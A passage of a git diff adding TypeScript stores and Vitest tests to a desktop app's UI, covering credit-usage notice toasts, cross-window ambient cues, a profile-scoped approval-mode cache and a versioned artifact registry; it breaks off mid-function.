+  expect(noticeToToast({ text: 'x', kind: 'ttl', ttl_ms: 0 })?.durationMs).toBeUndefined()
+})
+
+test('the notice key is the toast id, falling back to id', () => {
+  expect(noticeToToast(usage({ key: 'credits.usage' }))?.id).toBe('credits.usage')
+  expect(noticeToToast({ text: 'x', id: 'n1', key: undefined })?.id).toBe('n1')
+})
+
+test('the leading severity glyph is stripped from the toast message', () => {
+  // The toast renders a kind icon, so the message must not double up on a glyph.
+  expect(noticeToToast(usage())?.message).toBe("You've used $110.00 of your $220.00 cap")
+  expect(noticeToToast(usage({ level: 'error', text: '✕ Credit access paused' }))?.message).toBe('Credit access paused')
+  expect(noticeToToast(usage({ level: 'success', text: '✓ Credit access restored' }))?.message).toBe(
+    'Credit access restored'
+  )
+})
+
+test('the trailing "· detail" is split off as a secondary meta line, not inlined', () => {
+  // Detail-carrying notices split on the first ` · `.
+  const paused = noticeToToast({
+    key: 'credits.depleted',
+    level: 'error',
+    text: '✕ Credit access paused · run /topup to top up'
+  })
+
+  expect(paused?.message).toBe('Credit access paused')
+  expect(paused?.meta).toBe('run /topup to top up')
+
+  // grant_spent carries a `· detail` tail too.
+  const grant = noticeToToast({ key: 'credits.grant_spent', level: 'info', text: '• Grant spent · $12.00 top-up left' })
+  expect(grant?.message).toBe('Grant spent')
+  expect(grant?.meta).toBe('$12.00 top-up left')
+
+  // The usage line has no middot → whole line is the message, no meta.
+  const plain = noticeToToast(usage())
+  expect(plain?.message).toBe("You've used $110.00 of your $220.00 cap")
+  expect(plain?.meta).toBeUndefined()
+})
+
+test('splitMeta splits on the first space-middot-space only', () => {
+  expect(splitMeta('Credit access paused · run /topup to top up')).toEqual([
+    'Credit access paused',
+    'run /topup to top up'
+  ])
+  expect(splitMeta('Grant spent · $12.00 top-up left')).toEqual(['Grant spent', '$12.00 top-up left'])
+  expect(splitMeta('Credit access restored')).toEqual(['Credit access restored', undefined])
+  // Interior middots after the first split stay in the meta.
+  expect(splitMeta('a · b · c')).toEqual(['a', 'b · c'])
+})
+
+test('stripGlyph removes only a single leading severity glyph', () => {
+  expect(stripGlyph('• Credits 50% used')).toBe('Credits 50% used')
+  expect(stripGlyph('⚠ warn')).toBe('warn')
+  expect(stripGlyph('✕ paused')).toBe('paused')
+  expect(stripGlyph('✓ ok')).toBe('ok')
+  // No leading glyph → unchanged; interior glyphs are preserved.
+  expect(stripGlyph('Credits 50% used')).toBe('Credits 50% used')
+  expect(stripGlyph('spent · $12.00 • top-up left')).toBe('spent · $12.00 • top-up left')
+})
+
+// ── noticeAccent: severity color ramp keyed off $used / $cap ─────────────────
+
+test('usageFraction derives $used / $cap from the notice text', () => {
+  expect(usageFraction("You've used $15.00 of your $20.00 cap")).toBeCloseTo(0.75)
+  expect(usageFraction("You've used $198.00 of your $220.00 cap")).toBeCloseTo(0.9)
+  // Fewer than two amounts, or a zero cap → no fraction.
+  expect(usageFraction('Grant spent')).toBeNull()
+  expect(usageFraction("You've used $5.00 of your $0.00 cap")).toBeNull()
+  expect(usageFraction(undefined)).toBeNull()
+})
+
+test('usage accent stays muted below 75%, then ramps orange → red', () => {
+  expect(noticeAccent(usage({ text: "• You've used $10.00 of your $20.00 cap" }))).toBeUndefined() // 50%
+  expect(noticeAccent(usage({ text: "• You've used $14.80 of your $20.00 cap" }))).toBeUndefined() // 74%
+  expect(noticeAccent(usage({ level: 'warn', text: "⚠ You've used $15.00 of your $20.00 cap" }))).toBe(
+    'var(--ui-orange)'
+  ) // 75%
+  expect(noticeAccent(usage({ level: 'warn', text: "⚠ You've used $17.80 of your $20.00 cap" }))).toBe(
+    'var(--ui-orange)'
+  ) // 89%
+  expect(noticeAccent(usage({ level: 'warn', text: "⚠ You've used $18.00 of your $20.00 cap" }))).toBe('var(--ui-red)') // 90%
+  expect(noticeAccent(usage({ level: 'warn', text: "⚠ You've used $20.00 of your $20.00 cap" }))).toBe('var(--ui-red)') // 100%
+})
+
+test('terminal credit states carry their own accent; others stay default', () => {
+  expect(noticeAccent({ key: 'credits.depleted', text: '✕ paused' })).toBe('var(--ui-red)')
+  expect(noticeAccent({ key: 'credits.restored', text: '✓ restored' })).toBe('var(--ui-green)')
+  expect(noticeAccent({ key: 'credits.grant_spent', text: '• Grant spent' })).toBeUndefined()
+  expect(noticeAccent(undefined)).toBeUndefined()
+})
+
+test('noticeToToast attaches the band accent to the toast', () => {
+  expect(noticeToToast(usage({ level: 'warn', text: "⚠ You've used $15.00 of your $20.00 cap" }))?.accentColor).toBe(
+    'var(--ui-orange)'
+  )
+  expect(noticeToToast(usage({ text: "• You've used $10.00 of your $20.00 cap" }))?.accentColor).toBeUndefined()
+})
+
+// ── show / clear: rendered through the notifications store ────────────────────
+
+test('showAgentNotice renders a toast; empty text is a no-op', () => {
+  showAgentNotice(usage())
+  expect($notifications.get()).toHaveLength(1)
+  expect($notifications.get()[0]?.id).toBe('credits.usage')
+
+  showAgentNotice({ text: '' })
+  expect($notifications.get()).toHaveLength(1)
+})
+
+test('re-emitting the same key replaces the toast instead of stacking (50→75→90)', () => {
+  showAgentNotice(usage({ level: 'info', text: "• You've used $10.00 of your $20.00 cap" }))
+  showAgentNotice(usage({ level: 'warn', text: "⚠ You've used $15.00 of your $20.00 cap" }))
+  showAgentNotice(usage({ level: 'warn', text: "⚠ You've used $18.00 of your $20.00 cap" }))
+
+  const toasts = $notifications.get().filter(item => item.id === 'credits.usage')
+  expect(toasts).toHaveLength(1)
+  expect(toasts[0]?.message).toBe("You've used $18.00 of your $20.00 cap")
+  expect(toasts[0]?.kind).toBe('warning')
+})
+
+test('clearAgentNotice dismisses only the matching key', () => {
+  showAgentNotice(usage())
+  showAgentNotice({ key: 'credits.depleted', kind: 'sticky', level: 'error', text: '✕ paused' })
+  expect($notifications.get()).toHaveLength(2)
+
+  clearAgentNotice('credits.usage')
+  const ids = $notifications.get().map(item => item.id)
+  expect(ids).toContain('credits.depleted')
+  expect(ids).not.toContain('credits.usage')
+
+  clearAgentNotice(undefined)
+  expect($notifications.get()).toHaveLength(1)
+})
+
+// ── nativeNoticeInput: only the urgent credit pair breaks through the OS ──────
+
+test('only credits.depleted and credits.restored map to a native notification', () => {
+  expect(nativeNoticeInput(usage({ key: 'credits.usage' }), 'Credits')).toBeNull()
+  expect(nativeNoticeInput(usage({ key: 'credits.grant_spent' }), 'Credits')).toBeNull()
+  expect(nativeNoticeInput({ text: 'x', key: undefined }, 'Credits')).toBeNull()
+  expect(nativeNoticeInput({ text: '', key: 'credits.depleted' }, 'Credits')).toBeNull()
+})
+
+test('the urgent pair maps to a global native input carrying the text as its body', () => {
+  const depleted = nativeNoticeInput(
+    { key: 'credits.depleted', kind: 'sticky', level: 'error', text: '✕ Credit access paused · run /topup to top up' },
+    'Credits'
+  )
+
+  expect(depleted).toEqual({
+    body: '✕ Credit access paused · run /topup to top up',
+    global: true,
+    kind: 'credits',
+    title: 'Credits'
+  })
+
+  const restored = nativeNoticeInput(
+    { key: 'credits.restored', kind: 'ttl', level: 'success', text: '✓ Credit access restored', ttl_ms: 8000 },
+    'Credits'
+  )
+
+  expect(restored?.kind).toBe('credits')
+  expect(restored?.body).toBe('✓ Credit access restored')
+})
diff --git a/ui-desktop/src/store/agent-notices.ts b/ui-desktop/src/store/agent-notices.ts
new file mode 100644
index 000000000..dcc3bc536
--- /dev/null
+++ b/ui-desktop/src/store/agent-notices.ts
@@ -0,0 +1,206 @@
+import type { NativeNotificationInput } from '@/store/native-notifications'
+import { dismissNotification, type NotificationInput, type NotificationKind, notify } from '@/store/notifications'
+
+/**
+ * Wire shape of a `notification.show` payload — the driver-agnostic
+ * `AgentNotice` spine (`agent/credits_tracker.py`) as forwarded by
+ * `tui_gateway/server.py`. Snake_case to match the wire.
+ *
+ * The `text` carries its own leading severity glyph (• ⚠ ✕ ✓) from the Python
+ * policy — that's how the CLI/TUI render it (glyph in a status line, no separate
+ * icon). The desktop toast is different: every toast renders a kind icon, so we
+ * strip the leading glyph and let that icon carry severity (see `stripGlyph`),
+ * otherwise the toast shows two markers. The native OS notification keeps the
+ * glyph (it has no icon of ours).
+ *
+ * - `level` is severity: info | warn | error | success.
+ * - `kind` is lifetime: `sticky` (stays until an explicit clear) or `ttl`
+ *   (self-expires after `ttl_ms`).
+ */
+export interface AgentNoticePayload {
+  text?: string
+  level?: string
+  kind?: string
+  ttl_ms?: null | number
+  key?: string
+  id?: string
+}
+
+const LEVEL_TO_TOAST_KIND: Record<string, NotificationKind> = {
+  error: 'error',
+  info: 'info',
+  success: 'success',
+  warn: 'warning'
+}
+
+// The severity glyphs the Python notice policy prefixes (`•` `⚠` `✕`/`✗` `✓`),
+// optionally with a variation selector, plus trailing space. Stripped for the
+// desktop toast because the toast already renders a kind icon.
+const LEADING_GLYPH = /^[•⚠✕✗✓]\uFE0F?\s*/u
+
+/** Drop a single leading severity glyph so the toast doesn't double up on it. */
+export function stripGlyph(text: string): string {
+  return text.replace(LEADING_GLYPH, '')
+}
+
+/** A `$12.34` money token, as the Nous notice policy formats amounts. */
+const MONEY = /\$(\d+(?:\.\d{2})?)/g
+
+/**
+ * Used fraction of the cap derived from a "You've used $X of your $Y cap" notice
+ * — the first two money tokens are (used, cap). Returns a value in [0, 1], or
+ * `null` when the line has no usable pair.
+ */
+export function usageFraction(text: string | undefined): null | number {
+  const amounts = [...(text ?? '').matchAll(MONEY)].map(m => Number(m[1]))
+
+  if (amounts.length < 2 || !(amounts[1] > 0)) {
+    return null
+  }
+
+  return amounts[0] / amounts[1]
+}
+
+/**
+ * Accent color for a credit notice, as a range/severity ramp. The usage gauge
+ * keys off how much of the cap is spent ($used / $cap): it stays on the toast's
+ * default muted color under 75%, then escalates to orange, then red, as the cap
+ * nears. `credits.depleted` is red (paused) and `credits.restored` green.
+ *
+ * Returns a CSS color token or `undefined` (= keep the default muted color).
+ * These reuse the app's existing usage palette (`--ui-*`; see the
+ * `--context-usage-*` block in styles.css) — no new colors are introduced.
+ */
+export function noticeAccent(payload: AgentNoticePayload | undefined): string | undefined {
+  if (payload?.key === 'credits.depleted') {
+    return 'var(--ui-red)'
+  }
+
+  if (payload?.key === 'credits.restored') {
+    return 'var(--ui-green)'
+  }
+
+  const frac = usageFraction(payload?.text)
+
+  if (frac === null) {
+    return undefined
+  }
+
+  if (frac >= 0.9) {
+    return 'var(--ui-red)'
+  }
+
+  if (frac >= 0.75) {
+    return 'var(--ui-orange)'
+  }
+
+  return undefined
+}
+
+/**
+ * Map an agent notice to a toast input, or `null` when it carries no text.
+ *
+ * Pure and side-effect free so it can be unit-tested directly. The mapping is
+ * the whole contract:
+ * - `level` → toast kind (info/warn/error/success, warn→warning).
+ * - `sticky` → `durationMs: 0` (persists); `ttl` → `durationMs: ttl_ms`.
+ * - the notice `key` doubles as the toast `id`, so re-emitting the same key
+ *   REPLACES the prior toast — the credits 50→75→90 line escalates in place
+ *   instead of stacking, and a key-matched `notification.clear` can dismiss it.
+ */
+export function noticeToToast(payload: AgentNoticePayload | undefined): NotificationInput | null {
+  const text = payload?.text?.trim()
+
+  if (!text) {
+    return null
+  }
+
+  const isTtl = payload?.kind === 'ttl'
+  const ttl = typeof payload?.ttl_ms === 'number' && payload.ttl_ms > 0 ? payload.ttl_ms : undefined
+
+  // The Python notice text packs a trailing detail after a middot
+  // (`… used · $220.00 cap`, `Grant spent · $12.00 top-up left`). On one CLI/TUI
+  // status line that reads fine, but the toast follows the title-plus-description
+  // convention (Sonner/shadcn): the primary status is the message and the detail
+  // drops to a muted second line, instead of inlining a `·` separator.
+  const [primary, meta] = splitMeta(stripGlyph(text))
+
+  return {
+    // Icon + text tint by usage band (muted → orange → red); undefined keeps
+    // the default muted color.
+    accentColor: noticeAccent(payload),
+    // sticky → 0 (never auto-dismiss); ttl with a ttl_ms → that value; a ttl
+    // without a usable ttl_ms falls back to notify()'s per-kind default.
+    durationMs: isTtl ? ttl : 0,
+    id: payload?.key || payload?.id,
+    kind: LEVEL_TO_TOAST_KIND[payload?.level ?? 'info'] ?? 'info',
+    message: primary,
+    meta
+  }
+}
+
+/**
+ * Split a notice line into its primary status and a trailing detail on the first
+ * ` · ` (space-middot-space). No middot → the whole line is the primary and
+ * there's no meta.
+ */
+export function splitMeta(text: string): [primary: string, meta: string | undefined] {
+  const at = text.indexOf(' · ')
+
+  if (at === -1) {
+    return [text, undefined]
+  }
+
+  return [text.slice(0, at), text.slice(at + 3) || undefined]
+}
+
+/** Render a `notification.show` notice as a toast (no-op when it has no text). */
+export function showAgentNotice(payload: AgentNoticePayload | undefined): void {
+  const toast = noticeToToast(payload)
+
+  if (toast) {
+    notify(toast)
+  }
+}
+
+/**
+ * Dismiss the toast a `notification.clear` targets. The clear only ever names a
+ * `key`, which we used as the toast id, so this is a key-matched dismissal.
+ */
+export function clearAgentNotice(key: string | undefined): void {
+  if (key) {
+    dismissNotification(key)
+  }
+}
+
+// Only these two credit notices are urgent enough to break through as a native
+// OS notification (when ClawCodex is backgrounded). The escalating usage line
+// (`credits.usage`) and the grant-spent notice stay in-app toasts only — they
+// aren't worth interrupting the user's OS for.
+const NATIVE_NOTICE_KEYS = new Set(['credits.depleted', 'credits.restored'])
+
+/**
+ * Map a notice to a native OS notification input, or `null` when it isn't one of
+ * the urgent credit notices. Pure — the caller passes the localized `title` and
+ * decides whether to dispatch. `global: true` because credit state is
+ * account-wide, not tied to a chat session, so it should fire whenever the user
+ * is away regardless of which session (if any) is focused. The notice `text`
+ * already carries its glyph and is passed through as the raw body.
+ */
+export function nativeNoticeInput(
+  payload: AgentNoticePayload | undefined,
+  title: string
+): NativeNotificationInput | null {
+  const text = payload?.text?.trim()
+
+  if (!text || !payload?.key || !NATIVE_NOTICE_KEYS.has(payload.key)) {
+    return null
+  }
+
+  return {
+    body: text,
+    global: true,
+    kind: 'credits',
+    title
+  }
+}
diff --git a/ui-desktop/src/store/ambient.ts b/ui-desktop/src/store/ambient.ts
new file mode 100644
index 000000000..646ffb5a2
--- /dev/null
+++ b/ui-desktop/src/store/ambient.ts
@@ -0,0 +1,18 @@
+// One window owns each cross-window ambient cue (turn-end sound, spoken reply)
+// so N open full windows don't all fire it for the same backend event. The main
+// process is the race-free owner (see electron/event-dedupe.ts). Off Electron —
+// or when the bridge/claim fails — every window emits, preserving the
+// single-window behavior rather than going silent.
+export async function ownsAmbientCue(key: string): Promise<boolean> {
+  const claim = window.clawcodexDesktop?.claimAmbientCue
+
+  if (!claim) {
+    return true
+  }
+
+  try {
+    return await claim(key)
+  } catch {
+    return true
+  }
+}
diff --git a/ui-desktop/src/store/approval-mode.test.ts b/ui-desktop/src/store/approval-mode.test.ts
new file mode 100644
index 000000000..3f5112df8
--- /dev/null
+++ b/ui-desktop/src/store/approval-mode.test.ts
@@ -0,0 +1,109 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  $approvalModes,
+  approvalModeForProfile,
+  reconcileApprovalModeForProfile,
+  setApprovalModeForProfile,
+  syncApprovalModeForProfile
+} from './approval-mode'
+
+function deferred<T>() {
+  let resolve!: (value: T) => void
+  let reject!: (error: unknown) => void
+
+  const promise = new Promise<T>((res, rej) => {
+    resolve = res
+    reject = rej
+  })
+
+  return { promise, reject, resolve }
+}
+
+describe('profile-scoped approval mode cache', () => {
+  beforeEach(() => $approvalModes.set({}))
+
+  it('labels an unread profile Smart by default and adopts backend truth', async () => {
+    expect(approvalModeForProfile('default')).toBe('smart')
+
+    const request = vi.fn(async () => ({ value: 'manual' }))
+    await syncApprovalModeForProfile(request, 'default')
+
+    expect(request).toHaveBeenCalledWith('config.get', { key: 'approvals.mode' })
+    expect(approvalModeForProfile('default')).toBe('manual')
+  })
+
+  it('keeps profile values isolated', async () => {
+    await syncApprovalModeForProfile(
+      vi.fn(async () => ({ value: 'manual' })),
+      'work'
+    )
+    await syncApprovalModeForProfile(
+      vi.fn(async () => ({ value: 'off' })),
+      'personal'
+    )
+
+    expect(approvalModeForProfile('work')).toBe('manual')
+    expect(approvalModeForProfile('personal')).toBe('off')
+    expect(approvalModeForProfile('default')).toBe('smart')
+  })
+
+  it('rolls consecutive failed writes back to the last authoritative value', async () => {
+    await syncApprovalModeForProfile(
+      vi.fn(async () => ({ value: 'smart' })),
+      'default'
+    )
+    const first = deferred<{ value: string }>()
+    const second = deferred<{ value: string }>()
+
+    const request = vi
+      .fn()
+      .mockImplementationOnce(() => first.promise)
+      .mockImplementationOnce(() => second.promise)
+
+    const staleWrite = setApprovalModeForProfile(request, 'default', 'manual')
+    const currentWrite = setApprovalModeForProfile(request, 'default', 'off')
+    expect(approvalModeForProfile('default')).toBe('off')
+
+    first.reject(new Error('old failure'))
+    await expect(staleWrite).rejects.toThrow('old failure')
+    expect(approvalModeForProfile('default')).toBe('off')
+
+    second.reject(new Error('current failure'))
+    await expect(currentWrite).rejects.toThrow('current failure')
+    expect(approvalModeForProfile('default')).toBe('smart')
+  })
+
+  it('lets a backend event supersede an optimistic write and its later failure', async () => {
+    const write = deferred<{ value: string }>()
+
+    const pending = setApprovalModeForProfile(
+      vi.fn(() => write.promise),
+      'work',
+      'off'
+    )
+
+    reconcileApprovalModeForProfile('work', 'smart')
+    expect(approvalModeForProfile('work')).toBe('smart')
+
+    write.reject(new Error('late failure'))
+    await expect(pending).rejects.toThrow('late failure')
+    expect(approvalModeForProfile('work')).toBe('smart')
+  })
+
+  it('ignores a stale initial read after a newer write succeeds', async () => {
+    const read = deferred<{ value: string }>()
+
+    const request = vi
+      .fn()
+      .mockImplementationOnce(() => read.promise)
+      .mockResolvedValueOnce({ value: 'off' })
+
+    const staleRead = syncApprovalModeForProfile(request, 'default')
+    await setApprovalModeForProfile(request, 'default', 'off')
+    read.resolve({ value: 'manual' })
+    await staleRead
+
+    expect(approvalModeForProfile('default')).toBe('off')
+  })
+})
diff --git a/ui-desktop/src/store/approval-mode.ts b/ui-desktop/src/store/approval-mode.ts
new file mode 100644
index 000000000..f8720aa1a
--- /dev/null
+++ b/ui-desktop/src/store/approval-mode.ts
@@ -0,0 +1,97 @@
+import { atom } from 'nanostores'
+
+export type ApprovalMode = 'manual' | 'off' | 'smart'
+export type ApprovalModeRequester = (method: string, params?: Record<string, unknown>) => Promise<unknown>
+
+const APPROVAL_MODES = new Set<ApprovalMode>(['manual', 'smart', 'off'])
+const revisions = new Map<string, number>()
+const confirmedModes = new Map<string, ApprovalMode>()
+
+export const $approvalModes = atom<Record<string, ApprovalMode>>({})
+
+function profileKey(profile: string): string {
+  return profile.trim() || 'default'
+}
+
+function nextRevision(profile: string): number {
+  const revision = (revisions.get(profile) ?? 0) + 1
+  revisions.set(profile, revision)
+
+  return revision
+}
+
+function normalizeApprovalMode(value: unknown): ApprovalMode {
+  const normalized = String(value ?? '')
+    .trim()
+    .toLowerCase() as ApprovalMode
+
+  return APPROVAL_MODES.has(normalized) ? normalized : 'manual'
+}
+
+export function approvalModeForProfile(profile: string): ApprovalMode {
+  return $approvalModes.get()[profileKey(profile)] ?? 'smart'
+}
+
+function cacheApprovalMode(profile: string, mode: ApprovalMode): void {
+  const key = profileKey(profile)
+  $approvalModes.set({ ...$approvalModes.get(), [key]: mode })
+}
+
+export function reconcileApprovalModeForProfile(profile: string, value: unknown): ApprovalMode {
+  const key = profileKey(profile)
+  const mode = normalizeApprovalMode(value)
+  nextRevision(key)
+  confirmedModes.set(key, mode)
+  cacheApprovalMode(key, mode)
+
+  return mode
+}
+
+export async function syncApprovalModeForProfile(
+  requestGateway: ApprovalModeRequester,
+  profile: string
+): Promise<ApprovalMode> {
+  const key = profileKey(profile)
+  const revision = nextRevision(key)
+  const result = (await requestGateway('config.get', { key: 'approvals.mode' })) as { value?: string }
+  const mode = normalizeApprovalMode(result?.value)
+
+  if (revisions.get(key) === revision) {
+    confirmedModes.set(key, mode)
+    cacheApprovalMode(key, mode)
+  }
+
+  return mode
+}
+
+export async function setApprovalModeForProfile(
+  requestGateway: ApprovalModeRequester,
+  profile: string,
+  mode: ApprovalMode
+): Promise<ApprovalMode> {
+  const key = profileKey(profile)
+  const revision = nextRevision(key)
+  cacheApprovalMode(key, mode)
+
+  try {
+    const result = (await requestGateway('config.set', {
+      key: 'approvals.mode',
+      value: mode
+    })) as { value?: string }
+
+    const authoritative = normalizeApprovalMode(result?.value)
+
+    if (revisions.get(key) === revision) {
+      confirmedModes.set(key, authoritative)
+      cacheApprovalMode(key, authoritative)
+    }
+
+    return authoritative
+  } catch (error) {
+    if (revisions.get(key) === revision) {
+      cacheApprovalMode(key, confirmedModes.get(key) ?? 'smart')
+    }
+
+    throw error
+  }
+}
diff --git a/ui-desktop/src/store/artifacts.test.ts b/ui-desktop/src/store/artifacts.test.ts
new file mode 100644
index 000000000..e8fe47c8a
--- /dev/null
+++ b/ui-desktop/src/store/artifacts.test.ts
@@ -0,0 +1,164 @@
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import type { ArtifactDetection } from '@/lib/artifact-detect'
+
+import {
+  $artifactVersionSelection,
+  artifactsForSession,
+  clearArtifactRegistry,
+  getArtifact,
+  openArtifact,
+  selectArtifactVersion,
+  upsertArtifact
+} from './artifacts'
+import { $rightRailActiveTabId } from './layout'
+import { $previewTabs, closeRightRail, closeRightRailTab } from './preview'
+import { $activeSessionId, $selectedStoredSessionId } from './session'
+
+const HTML_DETECTION: ArtifactDetection = { kind: 'html', language: 'html', title: 'Pomodoro Timer' }
+
+describe('artifacts store', () => {
+  beforeEach(() => {
+    $activeSessionId.set('session-1')
+    $selectedStoredSessionId.set(null)
+    window.localStorage.clear()
+    clearArtifactRegistry()
+    closeRightRail()
+  })
+
+  afterEach(() => {
+    $activeSessionId.set(null)
+    $selectedStoredSessionId.set(null)
+    clearArtifactRegistry()
+    window.localStorage.clear()
+  })
+
+  it('registers a new artifact with one version', () => {
+    const result = upsertArtifact('session-1', HTML_DETECTION, '<html>v1</html>')
+
+    expect(result?.versionAdded).toBe(true)
+    expect(artifactsForSession('session-1')).toHaveLength(1)
+    expect(getArtifact(result!.artifactId)?.versions).toHaveLength(1)
+  })
+
+  it('dedupes identical content by hash (streaming replays are no-ops)', () => {
+    const first = upsertArtifact('session-1', HTML_DETECTION, '<html>v1</html>')
+    const replay = upsertArtifact('session-1', HTML_DETECTION, '<html>v1</html>')
+
+    expect(replay?.versionAdded).toBe(false)
+    expect(replay?.artifactId).toBe(first?.artifactId)
+    expect(getArtifact(first!.artifactId)?.versions).toHaveLength(1)
+  })
+
+  it('appends a version when the same artifact regenerates with new content', () => {
+    const first = upsertArtifact('session-1', HTML_DETECTION, '<html>v1</html>')
+    const second = upsertArtifact('session-1', HTML_DETECTION, '<html>v2</html>')
+
+    expect(second?.versionAdded).toBe(true)
+    expect(second?.artifactId).toBe(first?.artifactId)
+
+    const record = getArtifact(first!.artifactId)
+
+    expect(record?.versions).toHaveLength(2)
+    expect(record?.versions.at(-1)?.content).toBe('<html>v2</html>')
+    expect(artifactsForSession('session-1')).toHaveLength(1)
+  })
+
+  it('keeps different titles as separate artifacts', () => {
+    upsertArtifact('session-1', HTML_DETECTION, '<html>timer</html>')
+    upsertArtifact('session-1', { ...HTML_DETECTION, title: 'Budget Dashboard' }, '<html>budget</html>')
+
+    expect(artifactsForSession('session-1')).toHaveLength(2)
+  })
+
+  it('scopes artifacts per session', () => {
+    upsertArtifact('session-1', HTML_DETECTION, '<html>a</html>')
+    upsertArtifact('session-2', HTML_DETECTION, '<html>b</html>')
+
+    expect(artifactsForSession('session-1')).toHaveLength(1)
+    expect(artifactsForSession('session-2')).toHaveLength(1)
+  })
+
+  it('rejects empty sessions and empty content', () => {
+    expect(upsertArtifact('', HTML_DETECTION, '<html>x</html>')).toBeNull()
+    expect(upsertArtifact('session-1', HTML_DETECTION, '   ')).toBeNull()
+  })
+
+  it('opens an artifact as a real rail tab that references the registry', () => {
+    const result = upsertArtifact('session-1', HTML_DETECTION, '<html>v1</html>')!
+
+    openArtifact(result.artifactId)
+
+    const tab = $previewTabs.get()[0]!
+
+    expect(tab.target).toMatchObject({ kind: 'artifact', label: 'Pomodoro Timer', url: result.artifactId })
+    expect($rightRailActiveTabId.get()).toBe(tab.id)
+
+    closeRightRailTab(tab.id)
+
+    expect($previewTabs.get()).toEqual([])
+    expect($rightRailActiveTabId.get()).toBeNull()
+  })
+
+  it('does not duplicate a tab when the same artifact opens twice', () => {
+    const result = upsertArtifact('session-1', HTML_DETECTION, '<html>v1</html>')!
+
+    openArtifact(result.artifactId)
+    openArtifact(result.artifactId)
+
+    expect($previewTabs.get()).toHaveLength(1)
+  })
+
+  it('keeps artifact tabs out of the persisted tab list', () => {
+    const result = upsertArtifact('session-1', HTML_DETECTION, '<html>v1</html>')!
+
+    openArtifact(result.artifactId)
+
+    expect(window.localStorage.getItem('clawcodex.desktop.previewTabs.v2')).toBe('[]')
+  })
+
+  it('tracks version selection and snaps back to latest', () => {
+    const result = upsertArtifact('session-1', HTML_DETECTION, '<html>v1</html>')!
+
+    upsertArtifact('session-1', HTML_DETECTION, '<html>v2</html>')
+    upsertArtifact('session-1', HTML_DETECTION, '<html>v3</html>')
+
+    selectArtifactVersion(result.artifactId, 0)
+
+    expect($artifactVersionSelection.get()[result.artifactId]).toBe(0)
+
+    // Selecting the newest version clears the pin (absent = newest).
+    selectArtifactVersion(result.artifactId, 2)
+
+    expect(result.artifactId in $artifactVersionSelection.get()).toBe(false)
+
+    // Out-of-range clamps.
+    selectArtifactVersion(result.artifactId, -5)
+
+    expect($artifactVersionSelection.get()[result.artifactId]).toBe(0)
+  })
+
+  it('opens at the newest version by default and at a pinned one on request', () => {
+    const result = upsertArtifact('session-1', HTML_DETECTION, '<html>v1</html>')!
+
+    upsertArtifact('session-1', HTML_DETECTION, '<html>v2</html>')
+
+    openArtifact(result.artifactId, 0)
+
+    expect($artifactVersionSelection.get()[result.artifactId]).toBe(0)
+
+    openArtifact(result.artifactId)
+
+    expect(result.artifactId in $artifactVersionSelection.get()).toBe(false)
+  })
+
+  it('clearing the registry closes the tabs pointing into it', () => {
+    const result = upsertArtifact('session-1', HTML_DETECTION, '<html>v1</html>')!
+
+    openArtifact(result.artifactId)
+    clearArtifactRegistry()
+
+    expect($previewTabs.get()).toEqual([])
+    expect(artifactsForSession('session-1')).toEqual([])
+  })
+})
diff --git a/ui-desktop/src/store/artifacts.ts b/ui-desktop/src/store/artifacts.ts
new file mode 100644
index 000000000..4ece38335
--- /dev/null
+++ b/ui-desktop/src/store/artifacts.ts
@@ -0,0 +1,227 @@
+import { atom } from 'nanostores'
+
+import { artifactContentHash, type ArtifactDetection, type ArtifactKind, artifactSlug } from '@/lib/artifact-detect'
+
+import { closeArtifactPreviewTabs, openPreview, type PreviewTarget } from './preview'
+
+/**
+ * ARTIFACT REGISTRY — substantial generated content (HTML pages, large SVGs,
+ * long code) produced in the transcript, promoted out of the message flow into
+ * versioned content the right rail can preview. The registry is authoritative
+ * for artifact content; a rail tab only ever holds a reference to it, so a new
+ * version shows up in an already-open tab.
+ *
+ * Identity: one artifact = one (session, slug) pair, where the slug derives
+ * from kind + language + title. When the model regenerates "the dashboard"
+ * three times in a session, that is ONE artifact with three versions, exactly
+ * like a document the user keeps refining — not three cards.
+ *
+ * Memory-only: the transcript is the durable copy. Cards re-register as they
+ * render, so a reload rebuilds the registry (and its version history) for free
+ * instead of parking megabytes of generated HTML in localStorage.
+ */
+
+export interface ArtifactVersion {
+  content: string
+  createdAt: number
+  hash: string
+}
+
+export interface ArtifactRecord {
+  createdAt: number
+  id: string
+  kind: ArtifactKind
+  language: string
+  sessionId: string
+  slug: string
+  title: string
+  updatedAt: number
+  /** Oldest → newest. The last entry is the current version. */
+  versions: ArtifactVersion[]
+}
+
+export type ArtifactRegistry = Record<string, ArtifactRecord[]>
+
+const MAX_ARTIFACTS_PER_SESSION = 24
+const MAX_VERSIONS_PER_ARTIFACT = 20
+const MAX_SESSIONS = 40
+
+function pruneRegistry(registry: ArtifactRegistry): ArtifactRegistry {
+  const entries = Object.entries(registry)
+    .map(([sessionId, records]) => {
+      const trimmed = [...records]
+        .sort((a, b) => b.updatedAt - a.updatedAt)
+        .slice(0, MAX_ARTIFACTS_PER_SESSION)
+        .sort((a, b) => a.createdAt - b.createdAt)
+
+      return [sessionId, trimmed] as const
+    })
+    .filter(([, records]) => records.length > 0)
+    .sort(([, a], [, b]) => {
+      const latest = (records: readonly ArtifactRecord[]) => Math.max(...records.map(record => record.updatedAt))
+
+      return latest(b) - latest(a)
+    })
+    .slice(0, MAX_SESSIONS)
+
+  return Object.fromEntries(entries)
+}
+
+export const $artifactRegistry = atom<ArtifactRegistry>({})
+
+/** Per-artifact selected version index; absent = newest. */
+export const $artifactVersionSelection = atom<Record<string, number>>({})
+
+/** Lookup against a registry value, for components that already subscribe to
+ *  the atom and need the record to change identity when it does. */
+export function findArtifact(registry: ArtifactRegistry, artifactId: string): ArtifactRecord | null {
+  for (const records of Object.values(registry)) {
+    const found = records.find(record => record.id === artifactId)
+
+    if (found) {
+      return found
+    }
+  }
+
+  return null
+}
+
+export function getArtifact(artifactId: string): ArtifactRecord | null {
+  return findArtifact($artifactRegistry.get(), artifactId)
+}
+
+export function artifactsForSession(sessionId: string | null | undefined): ArtifactRecord[] {
+  const id = sessionId?.trim()
+
+  if (!id) {
+    return []
+  }
+
+  return $artifactRegistry.get()[id] ?? []
+}
+
+interface UpsertResult {
+  artifactId: string
+  record: ArtifactRecord
+  /** True when this call appended a NEW version (vs. deduped/no-op). */
+  versionAdded: boolean
+}
+
+/**
+ * Register (or version) an artifact for a session. Same slug + same content
+ * hash is a no-op (streaming remounts and transcript re-renders call this
+ * repeatedly); same slug + new content appends a version.
+ */
+export function upsertArtifact(
+  sessionId: string | null | undefined,
